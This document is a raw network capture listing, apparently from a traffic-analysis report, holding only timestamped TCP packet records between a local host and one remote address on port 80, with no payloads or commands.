Jan 7, 2024 05:29:24.680233002 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.680325985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.680407047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.680447102 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.680471897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.680511951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.680536032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.680577040 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.680600882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.680644989 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.680717945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.680771112 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.680799007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.680892944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.680919886 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.680941105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.680994987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.681040049 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.681081057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.681204081 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.681262970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.681390047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.681418896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.681472063 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.681701899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.681754112 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.681818962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.681859016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.681884050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.681925058 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.681962013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.681982040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.682008982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.682020903 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.682032108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.682070017 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.682110071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.682161093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.682238102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.682282925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.682306051 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.682322979 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.682424068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.682495117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.682512045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.682552099 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.682672977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.682734013 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.682770014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.682816982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.682847023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.682859898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.682884932 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.682915926 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.682950974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.682984114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.682996988 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.683017015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.683058977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.683104992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.683116913 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.683155060 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.683218956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.683278084 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.684050083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684065104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684077024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684111118 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.684140921 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.684164047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684175968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684187889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684199095 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684212923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684221029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.684225082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684238911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684251070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684257030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.684283972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.684289932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684302092 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.684329033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.684413910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684504986 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.684638023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684700966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.684746027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684798002 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.684840918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.684941053 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.684983969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.685062885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.685070992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.685106039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.685269117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.685316086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.685339928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.685374022 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.685404062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.685496092 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.685568094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.685607910 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.685738087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.685823917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.685866117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.685931921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.685972929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.686011076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.686094046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.686105967 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.686134100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.686183929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.686234951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.686855078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.686897039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.686964035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.687026978 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.687052011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.687088966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.687160015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.687266111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.687273979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.687295914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.687311888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.687345982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.687347889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.687386990 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.687458038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.687505007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.687565088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.687613010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.687683105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.687741995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.687783957 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.687835932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.687872887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.687900066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.687937021 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.687968969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.688007116 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.688047886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.688116074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.688155890 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.688199997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.688245058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.688297033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.688363075 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.688364983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.688443899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.688479900 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.688492060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.688530922 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.689831018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.689867020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.689902067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.689944029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.689945936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.689985037 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.690032005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.690124989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.690152884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.690176964 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.690241098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.690308094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.690325975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.690351009 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.691798925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.691862106 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.691871881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.691910982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.691983938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.692025900 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.692111969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.692171097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.692224979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.692261934 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.692323923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.692365885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.692405939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.692451954 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.692759037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.692830086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.706520081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.706594944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.847186089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.847201109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.847305059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.862210035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.862776041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.862844944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.862849951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.862889051 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.863851070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.863936901 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.863967896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.864012957 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.864113092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.864156008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.864162922 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.864196062 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.864221096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.864262104 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.864456892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.864511967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.864512920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.864551067 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.864804983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.864851952 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.866379023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.867086887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.867156982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.867516994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.867568016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.867866039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.867909908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.868083954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.868128061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.868529081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.868577003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.869234085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.869291067 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.869729996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.869800091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.869846106 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.869891882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.869937897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.869995117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.870038033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.870163918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.870193005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.870207071 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.870235920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.870405912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.870450974 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.870472908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.870511055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.870682955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.870728016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.871057034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.871109962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.871195078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.871218920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.871243954 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.871367931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.871639013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.871685028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.871900082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.871913910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.871944904 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.871979952 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.872100115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.872212887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.872270107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.872423887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.872781992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.872797966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.872834921 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.873003960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.873043060 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.873246908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.873341084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.873523951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.873574018 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.873641014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.873687029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.873770952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.873851061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.873951912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.874023914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.874099970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.874140978 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.874372005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.874387026 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.874429941 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.874739885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.874838114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.875344992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.875391960 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.875400066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.875443935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.875511885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.875530005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.876172066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.876187086 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.876220942 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.876244068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.876251936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.876257896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.876297951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.876826048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.876894951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.876982927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.877023935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.877051115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.877063990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.877100945 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.877121925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.877170086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.877695084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.877808094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.877856970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.877885103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.878097057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.878344059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.878388882 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.878412962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.878457069 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.878490925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.878557920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.878688097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.878710032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.878734112 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.878762007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.878803968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.878876925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.878971100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.879019022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.879019976 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.879059076 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.879131079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.879183054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.879358053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.879421949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.879451036 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.879467010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.879580975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.879679918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.880403042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.880450964 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.880759001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.880809069 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.880877018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.880970001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.881045103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.881084919 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.881114960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.881155014 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.881177902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.881340981 CET	80	49735	91.215.85.120	192.168.2.4
